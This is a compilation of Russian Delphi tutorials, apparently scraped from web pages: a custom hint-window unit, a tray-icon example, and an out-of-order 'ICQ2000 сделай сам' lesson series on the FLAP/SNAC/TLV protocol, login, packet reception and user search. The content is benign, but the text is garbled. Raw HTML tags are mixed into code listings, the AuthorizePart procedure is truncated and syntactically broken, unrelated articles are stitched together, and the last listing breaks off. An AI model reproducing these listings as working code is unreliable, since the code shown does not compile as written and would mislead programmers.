implementation
uses Forms;
{ TIconHintX }
{-Вычисляем новый размер окошка подсказки
для помещения в него иконки:-}
function TIconHintX.CalcHintRect(MaxWidth: Integer;
const AHint: string; AData: Pointer): TRect;
begin
Result := inherited CalcHintRect(MaxWidth, AHint, AData);
Result.Right := (Length(AHint) * 5) + Application.Icon.Width;
Result.Bottom := (Application.Icon.Height) * 2;
end;
procedure TIconHintX.Paint;
const
MARGIN = 5;
begin
inherited;
Canvas.Draw(MARGIN, MARGIN * 5, Application.Icon);
//рисуем рамку окошка подсказки
SendMessage(Handle, WM_NCPAINT, 0, 0);
end;
initialization
//связываем наш новый класс с классом окошка
//подсказки установленным поумолчанию:
HintWindowClass := TIconHintX;
end.
|
Как поместить иконку в TrayBar.
Для добавления иконки нужно сперва подключить модуль ShellAPI в раздел uses, а затем написать следующий код по нажатию на кнопку:
procedure TForm1.Button1Click(Sender: TObject);
var
no: TNotifyIconData;
Hicon1: HIcon;
begin
//Помещение иконки в Tray Bar
HIcon1:=ExtractIcon(Handle,'i:\arw01lt.ico',0);
with no do
begin
cbSize:=Sizeof(TNotifyIconData);
Wnd:=Handle;
uID:=0;
UFlags:=NIF_MESSAGE+NIF_ICON+NIF_TIP;
SzTip:='Traybar Tip';
HIcon:=HIcon1;
//Определяемое пользователем сообщение
uCallBackMessage:=WM_USER+0;
end;
Shell_NotifyIcon(NIM_ADD,@no);
end;
|
Для того, чтобы удалить иконку обработайте нажатие второй кнопки:
procedure TForm1.Button2Click(Sender: TObject);
var
no: TNotifyIconData;
begin
//Удаление иконки
with no do
begin
cbSize:=Sizeof(TNotifyIconData);
Wnd:=Handle;
uID:=0;
end;
Shell_NotifyIcon(NIM_Delete,@no);
end;
|
Для добавления, удаления или редактирования иконок на TrayBar'e используем специальную API функцию - Shell_NotifyIcon. Как вы уже прочитали для того, чтобы ею воспользоваться, нужно сначала подключить модуль ShellAPI в разделе uses. В качестве параметров функции нужно указать две вещи.
Сначала сообщение, которое мы посылаем, определяющее необходимое действие над иконкой. Этот параметр может принимать одно из следующих значений: NIM_ADD - добавляет иконку в область TrayBar'a NIM_DELETE - соответственно, удаляет NIM_MODIFY - если задать это значение, можно будет модифицировать иконку В качестве второго параметра передаётся структура NOTIFYICONDATA, которая содержит сведения об иконке. Эта структура обладает следующими полями: cbSize - это размер структуры в байтах hWnd - дескриптор окна, которое будет получать сообщения ассоциированные с иконкой на TrayBar'e uID - идентификатор иконки на TrayBar'e uFlags - массив флагов, значение этого поля может комбинироваться из следующих констант: NIF_ICON - элемент структуры hIcon будет задействован NIF_MESSAGE - элемент структуры uCallbackMessage будет задействован NIF_TIP - - элемент структуры szTip будет задействован uCallbackMessage - идентификатор сообщения. Система использует этот идентификатор, когда сообщение посылается окну, обозначенному в поле hWnd. Это сообщение посылается, когда происходит событие мыши над областью иконки. hIcon - дескриптор задаваемой иконки szTip - всплывающая подсказка, появляющаяся над областью иконкиICQ2000 сделай сам 1.
| Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru |
| Одна женщина другой: - У моего сына столько девушек!!! Только и слышу, то он с Клавой трахается, то с Аськой! И когда только успевает, ведь все время за компьютером! |
Урок №1
Прежде чем приступить к изложению своего небольшого проектика ... скажу сразу…. написан он на Делфи. Кто огорчится , кто обрадуется. Для кого языковой барьер не помеха, а для кого непреодолимое препятствие. Лично я постигал все перелести протоколов ICQ на кодах написанных на С++. Главное - видеть "главное". А мне нравится Делфи. На нем отправить пакет данных в интернет наверное проще, чем записать его в обычный файл.
Самые общие сведения о протоколахм ICQ
Существует около десятка версий ICQ-клиентов. И у каждого - своя версия протокола. Но не смотря на это, их всего два. Есть ICQ, работа, которых с сервером основана на протоколе UDP, и есть ICQ общающиеся с сервером по протоколу TCP. Немного подробнее:
ICQ на протоколе UDP С нее, собственно, и начиналась история ICQ. Это были версии протоколов 1,2,3,4 и 5. Это были аськи ICQ97, ICQ98, ICQ99. Т.к. использован протокол UDP, то постоянного соединения клиент-сервер не существует. Пакет передал. Получил подтверждение, и баста. Не получил подтверждение - передай повторно. Но об этих протоколах уже можно (и нужно) забыть. Они поддерживаются сервером весьма неохотно, потому, что в какой-то момент компания Mirabilis растворилась в компании America OnLine (AOL). После этого ICQ начала работать на протоколе AOL Instant Messenger (AIM). Это и есть вторая группа протоколов ICQ. ICQ на протоколе TCP Это версии протоколов 7,8. А может уже и 9,10,11 и т.д. По сути дела в ICQ20xx используется протокол от AOL Inastant Messenger. И по этому признаку эти два продукта - родные братья. Хоть я и спользовал информацию по прортоколу v8 (ICQ2000b) но рассматривать буду протокол v7 (ICQ2000a). Потому, что эта версия у меня была установлена и именно ее пакеты я использовал для анализа и отладки своего детища. Это различие не имело ровным счетом никакого значения.Но, как говорится: "ближе к телу". Вы вправе задать вопрос: "Как же это все будет выглядеть?" Это выглядит примерно так.
Сами понимаете, что номера ICQ и имена клиентов - полностью вымышленные. Любые совпадения с реальными людьми - чистая случайность. Конечно же, изображения принадлежат своим уважаемым владельцам, поэтому дальше их и не будет.
Как видно на скриншоте, это не просто аська, а - мультиаська! Т.е. можно находиться в онлайне сразу под несколькими UIN-ами одновременно. Иногда это бывает полезно и даже необходимо. В интернете есть конечно примочки для одновременного запуска нескольких копий ICQ, но ничто так не умиляет, как сделанное своими руками. И все же для понимания работы протокола - это излишество, поэтому я оставил только самое необходимое.
Думаю, что не стоит в самом начале нагружать разными сводными таблицами с описанием пакетов протокола. Я буду делать это по мере необходимости. Тем более, что из всего их множества, поначалу не все они будут и нужны.
Для работы вам потребуются только стандартные компоненты Делфи-5. Нет нужды устанавливать какие-то вспомогательные библиотеки или пакеты.
С помощью моего ICQ-клиента можно:
логиниться к серверу; отображать состояние клиентов; передавать и принимать сообщения; регистрировать (register) новый UIN на сервере; удалять (unregister) UIN с сервера; просматривать и обновлять информацию о клиентах из контактного списка; производить поиск клиентов по имени, по e-mail, по UIN-у; включать найденных клиентов в контактный список; вести журнал сообщений и пакетов.Но изначально приложение будет иметь самую минимальную функциональность. UIN и пароль у вас уже должны быть. Будем логиниться на сервере, менять свой статус, принимать сообщения. Весь TCP-трафик идет только через сервер. Так проще и этот способ в комбинации с некоторыми другими параметрами позволит скрыть ваш IP-адрес от любопытных глаз. Наверное, поэтому я не рассматриваю прямые соединения между клиентами. Разумеется, что будем рассматривать протокол v7. На нем работает ICQ2000a.
Итак, приступим...
Все пакеты данных (и от клиента к серверу, и от сервера к клиенту) упаковываются в т.н. FLAP-протокол. Он находится в самом низу иерархии. Ниже показана структура FLAP-пакета:
| FLAP | |
| Command Start | byte: $2A |
| Channel ID | byte |
| Sequence Number | word |
| Data Field Length | word |
| Data | variable |
Каждый FLAP-пакет имеет заголовок c фиксированной длиной и, следующий за ним блок данных (переменной длины). Длина заголовка равна 6-и байтам.
FLAP-заголовок содержит такие поля:
Однобайтовый идентификатор начала пакета (Command Start). Его значение всегда равно $2A. С ним можно сверяться при приеме пакетов. Идентификатор канала (Channel ID). Он может принимать четыре значения: 1 - канал установления соединения; 2 - канал обмена данными (основная фаза работы: какие-либо полезные данные передаются только в этой фазе); 3 - канал ошибок. (на практике мне не попадался :); 4 - канал разъединения. (это проще, чем написано). На 99.9% времени протокол работает в канале 2. Последовательный номер пакета (Sequence Number). В начале обмена данными это поле устанавливается случайным образом, а затем увеличивается на единицу при передаче каждого последующего пакета. Обычно такие поля используются для обеспечения целостности данных (например, когда используется UDP-протокол). Но в нашем случае используется TCP-соединение и этого вполне достаточно для обеспечения целостности передаваемых пакетов. Просто нужно следовать правилу формирования этого поля при передаче пакетов и можно забыть о нем. (На приеме я его никак не контролировал). Длина блока данных (Data Field Length). Указывает на длину блока данных, который следует сразу же за заголовком. Это очень важное поле. Зная его, мы знаем сколько данных нужно прочитать из входного потока. Ошибись мы хоть на один байт и синхронизация потока будет нарушена.Блок данных FLAP-пакета. Его длина указана в FLAP-заголовке. В нем находится вся полезная информация для обмена ICQ-клиента и сервера.
При приеме (обработке) FLAP-пакетов очень важно не потерять синхронизацию пакетов ( что просто недопустимо ). Нужно всегда читать 6-и байтовый залоговок, а далее считывать только, то количество данных, которое указано в заголовке. При соблюдении этого правила можно быть уверенным, что прочитанный блок данных будет содержать достоверную информацию. Потеря данных неприемлема в AIM стандарте. Все это на самом деле не трудно обеспечить.
Труднее разобраться в структуре самого блока данных. А напичкан он весьма разнообразными структурными единицами. Видать оччень много народу постаралось для этого. Впечатление такое, что взяли и скрестили старые версии v2 - v5 ICQ-протокола с самим AIM-протоколом. Это вам еще предстоит увидеть. Вот например, для представления обычных текстовых строк , использовано 3 или 4 различных варианта. Представляете себе строку в формате C++ или в формате Pascal, с нулем в конце или без него, с однобайтовой длиной или двубайтовой, а порядок следования байтов в слове? Черт ногу сломает. А может это специально сделано? Мне кажется, что впопыхах!!!
Попробуем разобраться.
ICQ2000 сделай сам 10.
| Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru |
| Одиночество - это когда контакт лист icq грохнулся. |
Урок №3
Запрос информации о клиенте,
Поиск клиентов по различным критериям и др.
Итак... Передавать и принимать сообщения уже умеем. На очереди - получение информации о клиентах, которые находятся в списке контактов; а также поиск новых клиентов по различным критериям. Такие запросы к серверу посылаются с помощью все тех же SNAC(15,2). Вспомните, как производится запрос оффлайновых сообщений.
Точно также SNAC(15,2) с типом запроса равным D007 применяется:
при всех операциях с Инфо клиентов ( и получение, и обновление своего); при поиске клиентов по имени, по UINу, по E-mаi1у; при изменении пароля; при удалении UINа из реестра ICQ; при многих других операциях.Каждая из перечисленных операций определяется подтипом запроса. Приведу обобщенную таблицу SNAC(15,2) для некоторых запросов:
| Command Start | 2A | ||||||||||||||||||||||||||||
| Channel ID | 02 | ||||||||||||||||||||||||||||
| Sequence Number | XX XX | ||||||||||||||||||||||||||||
| Data Field Length | XX XX | ||||||||||||||||||||||||||||
|
|
Family ID |
00 15
|
SubType ID |
00 02
|
Flags[0] |
00 |
Flags[1] |
00 |
Request ID |
00 XX 00 02 (по ним можно опознать ответ) |
|
|
Type |
00 01
|
Length |
XX XX |
Value |
Length-2
|
(и что оно тут делает ?) |
XX XX XX XX |
наш UIN |
D0 07
|
тип запроса
|
XX 00 |
cookie
(по нему можно/нужно
опознавать ответ) |
B2 04
|
подтип запроса
(B204 - запрос инфо клиента) |
Это переменная часть зпроса.
Она определяется подтипом запроса.
Например:
При запросе инфо клиента (B2 04) или при поиске клиента по UINу (1F05) здесь следует разместить запрашиваемый UIN.
При поиске клиента по E-mail (2905) здесь будет помещена строка с искомым адресом.
При поиске по NickName, FirstName, LastName (1505) сюда помещаются соответственно три стоки.
При смене пароля (2E04) здесь будет лишь строка с паролем, а наш UIN сервер и так знает.
|
|
Теперь к Delphi-проекту добавлены еще два модуля: UInfo и SUser (User Info & Search User).
Очередные исходники 3-его урока здесь. Т.к. все рассмотренные више запросы практически однотипные, то приведу комментарии только к одному из них. Это будет поиск по NickName, FirstName, LastName:
unit SUser;
procedure TSearchUser.META_Search_User(NN,FN,LN : string);
var p : PPack;
// промежуточный массив.
// в нем накапливаются данные TLV(1)
b : TByteArray;
i : integer;
begin
if (NN='')and(FN='')and(LN='') then exit;
EndOfSearch := false;
// word(b[0]) - тут будет ненужная длина
// (но ее надо потом корректно заполнить)
// а пока переходим к 3-у елементу
i:=2;
// вписываем UIN (только СВОЙ - укажем явно,что из модуля Main.pas)
PLONG(@(b[i]))^ := main.UIN; inc(i,4);
// ТИП запроса
PWORD(@(b[i]))^ := swap($D007); inc(i,2);
// придумаем себе COOKIE
// (можно и по-проще, но в настоящей аське
// COOKIE имеет такой вид XX00)
Cookie := random($FF) shl 8;
PWORD(@(b[i]))^ := swap(Cookie); inc(i,2);
// ПОДТИП запроса
PWORD(@(b[i]))^ := swap($1505); inc(i,2);
// добавляем три текстовые строки (First, Last, Nick)
// у AOL новый тип строк наверное :)
// впереди - длина строки, а в конце #0
// (что-то одно из них убрали бы)
// длина строки
PWORD(@(b[i]))^ := length(FN)+1; inc(i,2);
// сама строка FirstName
MOVE(FN[1],b[i],length(FN)); inc(i,Length(FN));
// завершающий #0
PBYTE(@(b[i]))^ := 0; inc(i,1);
// LastName
PWORD(@(b[i]))^ := length(LN)+1; inc(i,2);
MOVE(LN[1],b[i],length(LN)); inc(i,Length(LN));
PBYTE(@(b[i]))^ := 0; inc(i,1);
// NickName
PWORD(@(b[i]))^ := length(NN)+1; inc(i,2);
MOVE(NN[1],b[i],length(NN)); inc(i,Length(NN));
PBYTE(@(b[i]))^ := 0; inc(i,1);
// дозаполним "ненужную" длину в начале массива
PWORD(@(b[0]))^ := i-2;
// создаем FLAP-пакет
P:=CreatePacket(2,SEQ);
// добавляем SNAC(15,2)
SNACAppend(p,$15,$2);
// добавляем TLV(1) с данными из промежуточного массива
TLVAppend(p,1,i,@b);
// шлем запрос
Form1.PacketSend(p);
// пишем в Memo
M(Form1.Memo,'> Search Detail: Nick:'+NN+
' First:'+FN+
' Last:'+LN+' '+
'Cookie:$'+inttohex(Cookie,4));
end;
|
Запросы других подтипов передаются аналогично. С небольшими вариациями. Оновременно можем передавать на сервер много запросов. Сервер разберется. Ведь в каждом нашем запросе есть уникальное(ый) Cookie (а также и RequestID в SNAC-заголовке). Сервер пометит свои пакеты-ответы этими же опознавательными знаками.
Я лично делаю проверку(сверку) только по Cookie. Выдавая запрос, запоминаю Cookie. А когда приходит ответ от сервера, то процедура-обработчик SNAC_15_3 просто использует WinAPI функцию PostMessage для передачи ответа окну, которое выдало запрос. В параметрах PostMessage указан Cookie из ответа сервера. Какое окно его опознает - значит тому окну и предназначен ответ.
Работа процедуры-обработчика SNAC_15_3 уже ранее рассматривалась. Сейчас она просто дополнена новыми блоками, обрабатывающими новые ответы сервера. Следует упомянуть, что на один (единственный) наш запрос сервер присылает сразу целый массив из SNAC-ответов. Это типичная ситуация.
Например: запрашиваем Инфо о клиенте SNAC(15,2) [подтип запроса B204].
В ответ получим сразу восемь SNAC-ответов.
Вот их краткие названия-описания:
main-home-info homepage-more-info more-email-info additional-info work-info about personal-interests past-backgroundВсе полученные данные теперь сохраняются в файле .dat.
ICQ2000 сделай сам 2.
| Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru |
| Из диалога в аське: - Котенка кому? Качественный. Почти не юзаный, 2 месяца всего. Укомплектованный. Есть шерсть (веселенькой черно-белой окраски), лапы (4шт), усы (несчитанно) и урчальник (встроенный). Сабж обладает функцией мочеиспускания в туалет, лежания на телевизоре свесив хвост на экран и неуемной жизнерадостностью. Функция питания отлажена просто на диво: с удовольствием жрет даже хлеб и макароны. И все это счастье я отдаю просто так, для хороших людей не жалко! - Брандовый? Глюков нет? Апгрейдится? Манибек? Гарантия? Мышь опознает? |
Делфи-проект nICQ в начале будет состоять из 3-х модулей: Types, Packet, Main.
В модуле Types находятся константы и объявлены некоторые записи. В модуле Packet - процедуры и функции для записи/чтения FLAP-пакетов.(Большинство процедур из этого модуля просто адаптированы из других проектов ICQ). Название модуля Main говорит само за себя.Исходные коды проекта находятся здесь.
До того, как начать тестирование, вам следует ввести свой UIN, password, NickName. Внесите эти данные в файл nICQ.ini:
[User] Uin=199222333 Nick=My Nick Password=mypass |
... и можно запускать. Список контактов нам пока не нужен. Он появится позже. А сейчас будет вполне достаточно, если список контактов будет состоять только из вашего собственного UINа. Жмем на единственную кнопку, а в отладочном окне будет отображаться протокол работы. При выборе одного из пунктов Popup-меню, вызывается процедура icq_Login. Что в ней? Смотрим:
procedure TForm1.icq_Login(Status : longint); begin // определяем свой IP-адрес Local_IP := Get_my_IP; // преобразуем его в DIM_IP StrToIP(Local_IP,DIM_IP); // Запоминаем, какой будет наш статус ICQStatus := Status; // если ClientSocket открыт, то закроем его if CLI.Active then CLI.Close; // установим флажок isAuth, // это значит, что сначала мы коннектимся к серверу // авторизации. UIN и пароль передаются именно ему. isAuth := true; // устанавливаем флажок isHDR, // он говорит нам о том, что, самые первые данные , // из ClientSocket следует интерпретировать как // FLAP-заголовок isHDR := true; // заполняем поля Host и Port в ClintSocket, // адрес сервера авторизации: 'login.icq.com' // и его порт: 5190 CLI.Address :=''; CLI.Host := 'login.icq.com'; CLI.Port := 5190; // не забываем и про TMemo M(Memo,'>>>>>>>>>> login.icq.com:5190 <<<<<<<<<<<'); <font color="#000080"><em>// ... и собственно CONNECT</em></font> CLI.Open; <strong>end</strong>; </pre> </td></tr></table><br> <p> (А вот и подходящий момент, чтобы вспомнить о вашем подключении к интернету. Проблемы с получением CONNECTa могут возникнуть, если вы выходите в интернет из LAN через PROXY-сервер. Все зависит от того, как он настроен. Если он предоставляет выход в интернет только для основных сервисов (http,ftp,smtp,pop), то тут уж извините. А если на нем присутствует нормальный маскарадинг, то все будет OK). </p> <p> Итак, что же дальше..? Желанный CONNECT должен наступить немного раньше конца света :) Мы подсоединились к серверу авторизации и он первым выдаст нам пакет данных. Что делать? Как принять? Куда его засунуть? Об этом мой расказ на следующей странице. </p> <p> Переворачивайте... </p> <!-- end -->ICQ2000 сделай сам 3.
| Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru |
| Разговор по аське: - Что замолчал? - Пальцы устали. |
Итак, рассмотрим механизм приема FLAP-пакетов. Прием пакетов - это обработчик события onReadData нашего ClientSocket. Задача этого обработчика сводится только к приему FLAP-пакетов и формировании из них связного списка типа FIFO (первым пришел, первым и ушел). Главное корректно отработать границы пакетов.
Каждый пакет принимается в два захода:
сначала принимаем только заголовок FLAP-пакета (всего 6 байт); затем, узнав из заголовка длину блока данных, принимаем последний (ни байтом больше, ни байтом меньше).Приняв полный пакет, формируем из него элемент списка FIFO и присоединяем его к списку. Смотрим, как это сделано у меня. Для прима заголовка и блока данных FLAP-пакета объявлены два массива: FLAP и FLAP_DATA соответственно.
procedure TForm1.CLI_ReadData(Sender:TObject; Socket:TCustomWinSocket);
var num,Bytes,fact : integer;
pFIFO,CurrFIFO : PFLAP_Item;
buf : array[0..100] of byte;
begin
// узнаем, сколько всего данных уже есть в буфере ClientSocketa
num := Socket.ReceiveLength;
// в icq_Login мы установили isHdr, т.к. сначала ожидаем заголовок
if isHDR then begin
// если есть как минимум 6 байт, то читаем 6 байт заголовка в FLAP
if num>=6 then begin
Socket.ReceiveBuf(FLAP,6);
// из заголовка узнаем длину блока данных FLAP-пакета
NeedBytes := swap(FLAP.Len);
// сбрасываем в начало индекс массива FLAP_DATA
index := 0;
// сбпасываем, чтобы следующее чтение было в FLAP_DATA
// и выходим из обработчика
isHDR := false;
end else begin
// вообще-то ситуация, когда в Sockete меньше 6-и байт
// пока никак не контролируется (возникает очень редко :)
// отмечаю этот факт только в окне отладки
M(Memo,'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!');
Socket.ReceiveBuf(buf,num);
M(Memo,Dim2Hex(@(buf),num));
M(Memo,'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!');
end;
// if not isHDR then чтение в FLAP_DATA
end else begin
// сколько байт читать уже известно: NeedBytes
Bytes := NeedBytes;
// читаем их в FLAP_DATA[Index]
fact := Socket.ReceiveBuf(FLAP_DATA[index],Bytes);
// если в Sockete было данных меньше чем нужно,
// педвинем Index и NeedBytes для следующего входа в обработчик
inc(index,fact);
dec(NeedBytes,fact);
if NeedBytes = 0 then begin
// если весь блок данных FLAP-пакета уже в FLAP_DATA,
// тогда выделаем память для элемента списка FIFO (PFLAP_Item)
New(pFIFO);
// копируем заголовок
pFIFO^.FLAP := FLAP;
pFIFO^.Next := nil;
// выделяем память для блока данных и копируем его
GetMem(pFIFO^.DATA,index);
move(FLAP_DATA,PFIFO^.Data^,swap(FLAP.Len));
// добавляем указатель на PFLAP_Item в список
CurrFIFO:=HeadFIFO;
if HeadFIFO<>nil then begin
while CurrFIFO<>nil do
if CurrFIFO^.Next=nil then begin
CurrFIFO^.Next:=pFIFO;
break;
end else CurrFIFO:=CurrFIFO^.Next;
end else HeadFIFO:=pFIFO;
// устанавливаем isHDR (в true) уже для прима заголовка
// последующих FLAP-пакетов
isHDR := true;
end;
end;
end;
|
Дальнейшая обработка списка FIFO - это задача уже другой процедуры.
ICQ2000 сделай сам 4.
| Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru |
| Познакомился интернетчик с девушкой, погуляли, он и спрашивает: - Как бы нам еще встретиться? Она ему на бумажке телефон написала и уехала. Он смотрит на бумажку: "На ICQ не похоже... На IP тоже..." Так и не состоялась любовь... |
Итак, в обработчике события ClientSocket.onRead_Data из FLAP-пакетов формируется список FIFO. Обработку этого списка производит таймерная процедура MainT. Ее задача заключается в следующем:
взять из очереди FLAP-пакет (если очередь не пуста); сформировать из него временный объект (запись) типа PPack. (Для его обработки в модуле Packet находятся соответствующие функции и процедуры); направить его на вход одного из двух обработчиков; после обработки удалить временный объект. procedure TForm1.MainTTimer(Sender: TObject); var FindFIFO : PFLAP_Item; tmp : PPack; begin // закроем вход в таймер (реентерабельность нам не нужна) MainT.Enabled := false; // проверим не пуста ли очередь while HeadFIFO<>nil do begin // если есть ожидающие пакеты, то берем первый из них FindFIFO := HeadFIFO; // и корректируем очередь if HeadFIFO^.Next=nil then HeadFIFO := nil else HeadFIFO := HeadFIFO^.Next; // создаем временный Pak tmp := PacketNew; // переносим в него данные из пакета очереди // сначала FLAP-заголовок PacketAppend(tmp,@FindFIFO^.FLAP,sizeof(FLAP_HDR)); // затем блок данных PacketAppend(tmp,FindFIFO^.DATA,swap(FindFIFO^.FLAP.Len)); // освобождаем пакет, который из очереди FreeMem(FindFIFO^.DATA,swap(FindFIFO^.FLAP.Len)); Dispose(FindFIFO); // пропишем его дамп в файл ".log" debugFILE(tmp,'< '); <font color="#000080"><em>// если в данный момент мы соединены с сервером авторизации</еm></fоnt> <strong>if</strong> isAuth <strong>then</strong> <font color="#000080"><em>// то напавим пакет в обработчик AuthorizePart </em></font> AuthorizePart(tmp) <strong>else</strong> <font color="#000080"><em>// либо в основной обработчик</еm></fоnt> WorkPart(tmp); <font color="#000080"><em>// удалим временный Pak</em></font> PacketDelete(tmp); <strong>end</strong>; <font color="#000080"><em>// откроем вход в таймер</еm></fоnt> MainT.Enabled := true; <strong>end</strong>; </pre> </td></tr></table><br> <p> Вполне логично, что дальше надо рассмотреть работу процедуры AuthorizePart, т.к. самый первый FLAP-пакет попадет именно в нее. </p> <!-- end -->ICQ2000 сделай сам 5.
| Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru |
| Лежат двое влюбленных в постели, утомленные первым бурным соитием. Она: - Милый, а ты помнишь, когда мы с тобой познакомились? Он: - Погоди... ща отдышусь и пойду хистори в аське посмотрю. |
Перед рассмотрением работы обработчика AuthorizePart надо немного поговорить и о протоколе.
Перед тем, как подключиться к ICQ-серверу и начать работать мы должны пройти авторизацию на Authorization Server. Его адрес - login.icq.com:5190.
Необходимо:
соединиться с Authorization Server; передать ему пакет с UINом и паролем; получить от него IP-адрес и порт основного сервера и Cookie (256 байт случайных данных). Cookie - это будет наш пропуск при последующем (после авторизации) коннекте к основному рабочему серверу; разьединиться с Authorization Server.Именно к Authorization Server инициируется соединение в процедуре icq_Login.
Сервер отвечает нам маленьким пакетом:
| FLAP | |
| Command Start | 2A |
| Channel ID | 01 |
| Sequence Number | XX XX |
| Data Field Length | 00 04 |
| Data | 00 00 00 01 |
В нем только лишь 00 00 00 01. Для нас - это сигнал начать передачу пакета с авторизационными данными (с UINом и паролем).
Сейчас уже пора разобраться и с форматом блока данных FLAP-пакета.
Можно сказать, что показанный выше пакет совсем не имеет никакой структуры: просто DWORD и все. В большинстве случаев в FLAP-пакете размещены данные, которые упакованы еще в один протокол: т.н. SNAC. В этом случае пакет данных выглядит так:
| FLAP | ||||||||||||||
| Command Start | 2A | |||||||||||||
| Channel ID | 02 | |||||||||||||
| Sequence Number | word | |||||||||||||
| Data Field Length | word | |||||||||||||
| SNAC |
Family ID |
word |
SubType ID |
word |
Flags[0] |
byte |
Flags[1] |
byte |
Request ID |
dword |
SNAC Data |
variable |
|
|
В любом FLAP-пакете может находиться только один пакет SNAC.
Прием (анализ) и передача SСАСов - это то основное, что предстоит делать, чтобы реализовать все функции ICQ-клиента. Будь то передача списка контактов, или изменение нашего статуса, или получение и передача сообщений, или запрос информации о любом клиенте, для любого запроса и ответа на него есть свой SNAC (FamilyID, SubTypeID). Из сказанного видно, что вся смысловая информация помещена в SNАСи. И UINы, и никнэймы, и и-мэйлы с хоумпэйджами. Конечно же они не просто так накиданы в SNАСи. Они там размещены в юнитах, которые называются TLV.
TLV TLV дословно означает - "Type, Length, Value" ("Тип, Длина, Значение"). Его структура такая:| TLV | |
| (T)ype code | word |
| (L)ength code | word |
| (V)alue field | variable length |
В TLV упаковывается все, что используется в ICQ-протоколе: текстовые строки, байты, слова, двойные слова, другие массивы и т.д. и т.п.. На тип содеожимого TLV указывает Type code. Чаще всего TLV располагаются внутри SNАСов, но это не является обязательным условием. Они могут также напрямую использоваться в блоке данных FLAP-пакета. Именно напрямую (т.е. без использования SNАСов) TLV задействованы на этапе авторизации.
Этот механизм мы и рассмотрим именно сейчас, т.к. мы соединены уже с Authorization Server и получили от него добро в виде DWORD=00000001 на передачу нашего UINа и пароля.
procedure TForm1.AuthorizePart(p:PPack);
var ss : string;
T : integer;
tmp : PPack;
begin
// позиционируемся на начало блока данных, пропустив заголовок
PacketGoto(p,sizeof(FLAP_HDR));
// если FLAP-данные содержат лишь 00000001,
// то это самое начало сессии
if (swap(p^.Len)=4)and
(swap(p^.SNAC.FamilyID)=0)and
(swap(p^.SNAC.SubTypeID)=1) then begin
M(Memo,' Auth Request (Login)');
end else
// на это сервер ответит так:
// его ответ содержит TLV(1) - т.е. наш UIN
if (TLVReadStr(p,ss)=1)and(ss=s(UIN))then begin
// если это так, то считаем следующий TLV
T := TLVReadStr(p,ss);
case T of
// если это TLV(5) - значит это адрес и порт основного сервера
5: g>begin // BOS-IP:PORT
M(Memo,'// и коннектимся к нему
CLI.Open;
{ ******************************************* }
{ в этом месте заканчивается этап авторизации }
{ ******************************************* }
end;
end;
// а, например, в случае неверного UINа или пароля
// мы получим TLV(4) и TLV(8)
4,8: begin
M(Memo,'end;
end;
end;
end;
|
После успешного прохождения авторизации, мы подключаемся к основному рабочему серверу ICQ. Т.к. флажек isAuth уже сброшен, то диспетчер MainTTimer все пакеты будет направлять на обработчик WorkPart. Его построение во многом схоже с только, что рассмотренным обработчиком AuthorizePart.
В таком случае продолжим...
ICQ2000 сделай сам 6.
| Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru |
| Приходит програмист с работы, а на него жена набрасывается с кулаками: - Негодяй! Я столько лет тебя кормила, поила, ублажала, а ты, паразит, мне изменяешь! - ??? - Не прикидывайся! Звонил Витька, спрашивал адрес твоей Аськи! |
Обработчик WorkPart выполняет всю диспетчерскую работу на протяжении всего времени, когда мы подключены к основному ICQ-серверу. Устроен он очень просто.
procedure TForm1.WorkPart(p:PPack);
var ss,ss2,sErr : string;
tmp : PPack;
begin
{ иногда бывает: сервер прервал соединение.
такая ситуация возникала только в одном случае:
сервером зафиксирован логин с нашим UINом с другого компьютера. }
if p^.FLAP.ChID = 4 then begin
PacketGoto(p,sizeof(FLAP_HDR));
// Код ошибки
TLVReadStr(p,ss); M(Memo,ss);
// Описание ошибки
TLVReadStr(p,ss2); M(Memo,ss2);
// Разьединяемся
OfflineDiscconnect1Click(self);
sErr:='Str1: '+Dim2Hex(@(ss[1]),length(ss));
sErr:=sErr+#13#10+'Str2: '+ss2+#13#10+#13#10;
ShowMessage('Another Computer Use YOUR UIN!'#13#10+#13#10+
sErr+'...i gonna to disconnect');
// Выходим из обработчика
exit;
end;
{}
{ Основная секция }
// позиционируемся на данные
PacketGoto(p,sizeof(FLAP_HDR)+sizeof(SNAC_HDR));
// BOS Connection ACK (DWORD 00000001)
// т.е. основной сервер готов с нами общаться
if (swap(p^.Len)=4)and
(swap(p^.SNAC.FamilyID)=0)and
(swap(p^.SNAC.SubTypeID)=1) then begin
M(Memo,' Sign-ON (COOKIE)');
end else //
if (swap(p^.SNAC.FamilyID)=1)and
(swap(p^.SNAC.SubTypeID)=3) then begin
M(Memo,'> "I`m ICQ client, not AIM"');
end else // ACK to "I`m ICQ Client"
if (swap(p^.SNAC.FamilyID)=$1)and // ACK
(swap(p^.SNAC.SubTypeID)=$18) then begin
M(Memo,' ACK to Rate Response');
// Request Personal Info
tmp := CreatePacket(2,SEQ);
SNACAppend(tmp,$1,$0E);
PacketSend(tmp);
M(Memo,'> Request Personal Info');
// Request Rights for Location service
tmp := CreatePacket(2,SEQ);
SNACAppend(tmp,$2,$02);
PacketSend(tmp);
M(Memo,'> Request Rights for Location service');
// Request Rights for Buddy List
tmp := CreatePacket(2,SEQ);
SNACAppend(tmp,$3,$02);
PacketSend(tmp);
M(Memo,'> Request Rights for Buddy List');
// Request Rights for ICMB
tmp := CreatePacket(2,SEQ);
SNACAppend(tmp,$4,$04);
PacketSend(tmp);
M(Memo,'> Request Rights for ICMB');
// Request BOS Rights
tmp := CreatePacket(2,SEQ);
SNACAppend(tmp,$9,$02);
PacketSend(tmp);
M(Memo,'> Request BOS Rights');
end else // Personal Information
if (swap(p^.SNAC.FamilyID)=$1)and
(swap(p^.SNAC.SubTypeID)=$F) then begin
M(Memo,' Set ICMB parameters');
// Set User Info (capability)
tmp := CreatePacket(2,SEQ);
SNACAppend(tmp,$2,$4); // tlv(5)=capability
TLVAppendStr(tmp,5,#$09#$46#$13#$49#$4C#$7F#$11#$D1+
#$82#$22#$44#$45#$53#$54#$00#$00+
#$09#$46#$13#$44#$4C#$7F#$11#$D1+
#$82#$22#$44#$45#$53#$54#$00#$00);
PacketSend(tmp);
M(Memo,'> Set User Info (capability)');
// Send Contact List
